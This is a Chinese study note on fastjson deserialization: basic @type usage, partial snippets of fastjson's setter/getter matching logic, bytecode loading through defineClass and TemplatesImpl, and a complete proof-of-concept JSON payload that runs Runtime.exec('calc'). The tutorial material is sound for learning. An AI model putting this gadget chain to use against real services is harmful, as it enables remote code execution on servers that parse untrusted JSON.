1.fastjson简单使用
User:
package com.naihe;
public class User {
private String name;
private int age;
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Demo:
package com.naihe;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FS {
public static void main(String[] args) {
User user1 = new User("小李",10);
String JsStr1= JSONObject.toJSONString(user1);
System.out.println(JsStr1);
User user2 = new User("大李",100);
String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
System.out.println(JsStr2);
String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
Object obj1 = JSONObject.parse(str);
System.out.println(obj1);
Object obj2 = JSONObject.parseObject(str);
System.out.println(obj2);
}
}
2.反序列化漏洞分析
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
(method.getReturnType().equals(Void.TYPE) ||
method.getReturnType().equals(method.getDeclaringClass())))
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") &&
Character.isUpperCase(methodName.charAt(3)) &&
method.getParameterTypes().length == 0 &&
(Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()))
package com.naihe;
public class User {
private String name;
private int age;
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Demo:
package com.naihe;
import com.alibaba.fastjson.JSONObject;
public class Demo1 {
public static void main(String[] args) {
String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
Object obj1 = JSONObject.parse(str);
}
}
3.字节码加载
1.利用defineClass加载字节码
package com.naihe;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class DC {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
//通过字节码构建恶意类
ClassPool classPool=ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] code=payload.toBytecode();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
yyds.newInstance();
}
}
2.利用TemplatesImpl加载字节码
package com.naihe;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import java.util.Base64;
public class TL {
private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public static void main(String[] args) {
try {
ClassPool classPool=ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] codes=payload.toBytecode();
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templates = new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
poc:
package com.naihe;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.util.Base64;public class fastjson { public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException { ParserConfig config = new ParserConfig(); ClassPool classPool=ClassPool.getDefault(); String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("CommonsCollections3"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); String str = Base64.getEncoder().encodeToString(payload.toBytecode()); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}"; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); }}